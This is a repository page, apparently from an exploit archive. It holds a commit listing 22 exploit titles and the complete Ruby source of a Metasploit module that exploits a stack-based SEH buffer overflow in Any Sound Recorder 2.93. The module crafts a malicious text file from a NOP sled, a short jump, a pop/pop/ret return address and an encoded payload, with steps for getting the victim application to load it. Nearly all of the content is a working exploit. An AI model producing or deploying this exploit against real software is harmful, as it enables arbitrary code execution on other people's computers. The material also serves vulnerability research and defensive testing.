ef70ec156b
22 changes to exploits/shellcodes ZyXEL VMG3312-B10B < 1.00(AAPP.7) - Credential Disclosure QNAP NetBak Replicator 4.5.6.0607 - Denial of Service (PoC) SIPp 3.3.990 - Local Buffer Overflow (PoC) R 3.4.4 (Windows 10 x64) - Buffer Overflow (DEP/ASLR Bypass) xorg-x11-server 1.20.3 - Privilege Escalation Any Sound Recorder 2.93 - Buffer Overflow Local (SEH) (Metasploit) Nutanix AOS & Prism < 5.5.5 (LTS) / < 5.8.1 (STS) - SFTP Authentication Bypass South Gate Inn Online Reservation System 1.0 - 'q' SQL Injection Electricks eCommerce 1.0 - 'prodid' SQL Injection phptpoint Pharmacy Management System 1.0 - 'username' SQL Injection Webiness Inventory 2.9 - Arbitrary File Upload NETGEAR WiFi Router R6120 - Credential Disclosure MyBB Downloads 2.0.3 - SQL Injection Expense Management 1.0 - Arbitrary File Upload University Application System 1.0 - SQL Injection / Cross-Site Request Forgery (Add Admin) Notes Manager 1.0 - Arbitrary File Upload Instagram Clone 1.0 - Arbitrary File Upload Microstrategy Web 7 - Cross-Site Scripting / Directory Traversal Asaancart Simple PHP Shopping Cart 0.9 - Arbitrary File Upload / SQL Injection CI User Login and Management 1.0 - Arbitrary File Upload Windows/x64 - Remote (Bind TCP) Keylogger Shellcode (864 bytes) (Generator)
72 lines
No EOL
2.1 KiB
Ruby
Executable file
72 lines
No EOL
2.1 KiB
Ruby
Executable file
##
|
||
# This module requires Metasploit: http://metasploit.com/download
|
||
# Current source: https://github.com/rapid7/metasploit-framework
|
||
##
|
||
|
||
require 'msf/core'
|
||
|
||
class Metasploit3 < Msf::Exploit::Remote
|
||
Rank = NormalRanking
|
||
|
||
include Msf::Exploit::FILEFORMAT
|
||
include Msf::Exploit::Seh
|
||
|
||
def initialize(info = {})
|
||
super(update_info(info,
|
||
'Name' => 'Any Sound Recorder 2.93 Buffer Overflow (SEH)',
|
||
'Description' => %q{
|
||
This module exploits a stack based buffer overflow in Any Sound Recorder 2.93, when
|
||
with the name "hack.txt". Copy the content of the "hack.txt",Start Any Sound Recorder 2.93 click "Enter Key Code" Paste the content into field "User Name" click "Register"
|
||
},
|
||
'License' => MSF_LICENSE,
|
||
'Author' =>
|
||
[
|
||
'Abdullah Alıç', # Original discovery
|
||
'd3ckx1 d3ck(at)qq.com', # MSF module
|
||
],
|
||
'References' =>
|
||
[
|
||
[ 'OSVDB', '' ],
|
||
[ 'EBD', '45627' ]
|
||
],
|
||
'DefaultOptions' =>
|
||
{
|
||
'EXITFUNC' => 'process'
|
||
},
|
||
'Platform' => 'win',
|
||
'Payload' =>
|
||
{
|
||
'BadChars' => "\x00\x0a\x0d",
|
||
'DisableNops' => true,
|
||
'Space' => 10000
|
||
},
|
||
'Targets' =>
|
||
[
|
||
[ 'Any Sound Recorder 2.93',
|
||
{
|
||
'Ret' => 0x72d12f35, # 0x72d12f35 : P/P/R FROM msacm32.drv form winxp sp3
|
||
'Offset' => 900
|
||
}
|
||
],
|
||
],
|
||
'Privileged' => false,
|
||
'DisclosureDate' => 'Oct 25 2018',
|
||
'DefaultTarget' => 0))
|
||
|
||
register_options([OptString.new('FILENAME', [ false, 'The file name.', 'msf.txt']),], self.class)
|
||
|
||
end
|
||
|
||
def exploit
|
||
buf = "\x90"*(target['Offset'])
|
||
buf << "\xeb\x06#{Rex::Text.rand_text_alpha(2, payload_badchars)}" # nseh (jmp to payload)
|
||
buf << [target.ret] .pack('V') # seh
|
||
buf << make_nops(10)
|
||
buf << payload.encoded
|
||
buf << "\x90" * 200
|
||
|
||
file_create(buf)
|
||
handler
|
||
|
||
end
|
||
end |